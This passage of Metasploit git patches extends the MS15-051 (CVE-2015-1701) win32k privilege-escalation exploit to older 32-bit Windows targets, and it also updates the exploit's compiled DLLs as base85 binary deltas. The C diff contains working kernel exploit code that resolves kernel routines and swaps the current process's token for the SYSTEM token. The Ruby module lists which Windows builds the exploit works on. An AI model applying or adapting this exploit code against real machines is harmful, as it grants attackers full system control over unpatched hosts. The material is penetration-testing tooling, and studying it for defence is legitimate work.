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 From 2206a6af73317a362e07d36eee86cb912028eb61 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 24 Jun 2015 09:18:59 -0400 Subject: [PATCH 0550/1013] Support older targets x86 for MS15-051 --- .../cve-2015-1701/cve-2015-1701.c | 136 ++++++++++-------- .../local/ms15_051_client_copy_image.rb | 19 ++- 2 files changed, 87 insertions(+), 68 deletions(-) diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c index 9f25a2fe08..c1d7815f83 100755 --- a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -35,7 +35,14 @@ #define HMUNIQSHIFT 16 typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p); -typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process); +typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( + IN HANDLE ProcessId, + OUT PVOID Process +); + +typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( + _Inout_ PVOID Process +); typedef PVOID PHEAD; @@ -65,19 +72,13 @@ typedef struct _SHAREDINFO { static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow"); -pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL; +lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL; +lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL; pUser32_ClientCopyImage g_originalCCI = NULL; PVOID g_ppCCI = NULL, g_w32theadinfo = NULL; int g_shellCalled = 0; DWORD g_OurPID; - -typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( - _Inout_ PVOID Process -); - -lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL; - typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS NTAPI RtlGetVersion( @@ -230,17 +231,7 @@ BOOLEAN supIsProcess32bit( return FALSE; } -/* -* GetPsLookupProcessByProcessId -* -* Purpose: -* -* Return address of PsLookupProcessByProcessId routine to be used next by shellcode. -* -*/ -ULONG_PTR GetPsLookupProcessByProcessId( - VOID - ) +BOOL GetShellCodeFunctions(VOID) { BOOL cond = FALSE; ULONG rl = 0; @@ -248,7 +239,7 @@ ULONG_PTR GetPsLookupProcessByProcessId( ULONG_PTR KernelBase = 0L, FuncAddress = 0L; PRTL_PROCESS_MODULES miSpace = NULL; CHAR KernelFullPathName[MAX_PATH * 2]; - + BOOL bSuccess = FALSE; do { @@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId( break; } - pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); - pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel)); - FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId"); - FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel; + g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken"); + g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel); + bSuccess = TRUE; } while (cond); if (MappedKernel != NULL) { @@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId( HeapFree(GetProcessHeap(), 0, miSpace); } - return FuncAddress; + return bSuccess; +} + +PSHAREDINFO GetSharedInfo(VOID) { + HMODULE huser32; + PSHAREDINFO pSharedInfo = NULL; + DWORD dwCursor = 0; + + huser32 = GetModuleHandle(TEXT("user32.dll")); + if (huser32 == NULL) + return pSharedInfo; + + pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo")); + +#ifndef _M_X64 + PVOID pUser32InitializeImmEntryTable; + + /* user32!gSharedInfo resoultion for x86 systems < Windows 7 */ + if (pSharedInfo != NULL) + return pSharedInfo; + + pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable")); + + for (dwCursor = 0; dwCursor < 0x80; dwCursor++) { + if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 ) + continue; + if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68) + continue; + return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2)); + } +#endif + + return pSharedInfo; } /* @@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId( * Locate, convert and return hwnd for current thread from SHAREDINFO->aheList. * */ -HWND GetFirstThreadHWND( - VOID - ) +HWND GetFirstThreadHWND(VOID) { PSHAREDINFO pse; - HMODULE huser32; PHANDLEENTRY List; ULONG_PTR c, k; - huser32 = GetModuleHandle(TEXT("user32.dll")); - if (huser32 == NULL) - return 0; - - pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo"); - if (pse == NULL) + pse = GetSharedInfo(); + if (pse == NULL) { return 0; + } List = pse->aheList; k = pse->psi->cHandleEntries; - if (pse->HeEntrySize != sizeof(HANDLEENTRY)) - return 0; + //if (pse->HeEntrySize != sizeof(HANDLEENTRY)) + //return 0; // // Locate, convert and return hwnd for current thread. @@ -334,12 +351,11 @@ HWND GetFirstThreadHWND( if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) { return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT)); } - return 0; } // Search the specified data structure for a member with CurrentValue. -BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) +BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) { DWORD_PTR dwIndex, dwMask; @@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, * Copy system token to current process object. * */ -NTSTATUS NTAPI StealProcessToken( - VOID - ) +NTSTATUS NTAPI StealProcessToken(VOID) { - NTSTATUS Status; - PVOID CurrentProcess = NULL; - PVOID SystemProcess = NULL; + void *pMyProcessInfo = NULL; + void *pSystemInfo = NULL; + PACCESS_TOKEN systemToken; + PACCESS_TOKEN targetToken; - Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess); - if (NT_SUCCESS(Status)) { - Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess); - if (NT_SUCCESS(Status)) { - PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess); - PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess); + g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo); + g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo); - // Find the token in the target process, and replace with the system token. - find_and_replace_member((PDWORD_PTR)CurrentProcess, - (DWORD_PTR)targetToken, - (DWORD_PTR)systemToken, - 0x200); - } - } - return Status; + targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo); + systemToken = g_pPsReferencePrimaryToken(pSystemInfo); + + // Find the token in the target process, and replace with the system token. + FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo, + (DWORD_PTR)targetToken, + (DWORD_PTR)systemToken, + 0x200); + return 0; } @@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload) } g_OurPID = GetCurrentProcessId(); - g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId(); + GetShellCodeFunctions(); - if (g_PsLookupProcessByProcessIdPtr == NULL) { + if (g_pPsLookupProcessByProcessId == NULL) { return; } diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 12b4a247d8..3ec8721cdb 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -26,9 +26,10 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ - 'Unknown', # vulnerability discovery and exploit in the wild - 'hfirefox', # Code released on github - 'OJ Reeves' # msf module + 'Unknown', # vulnerability discovery and exploit in the wild + 'hfirefox', # Code released on github + 'OJ Reeves', # msf module + 'Spencer McIntyre' # msf module ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', @@ -57,10 +58,15 @@ class Metasploit3 < Msf::Exploit::Local end def check + # Windows XP SP3 (32-bit) 5.1.2600.6514 (Works) + # Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works) # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) - # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works) # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) + # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown @@ -76,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") - return Exploit::CheckCode::Safe if build == 7601 + return Exploit::CheckCode::Safe if build > 7601 return Exploit::CheckCode::Detected end @@ -86,7 +92,8 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::None, 'Session is already elevated') end - if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown + check_result = check + if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end From ae41f2bfa0da0db955fd533ca67ccb842e0c0433 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 25 Jun 2015 09:28:38 +1000 Subject: [PATCH 0551/1013] Update exploit binaries for ms15-051 --- .../CVE-2015-1701/cve-2015-1701.x64.dll | Bin 84992 -> 84992 bytes .../CVE-2015-1701/cve-2015-1701.x86.dll | Bin 72192 -> 72192 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll index e049e41ec77c819496d5a1d2ccaaae216d5f11af..0aa4a0913bd4526902f38d476a7ebb3c51df7f4f 100755 GIT binary patch delta 4483 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 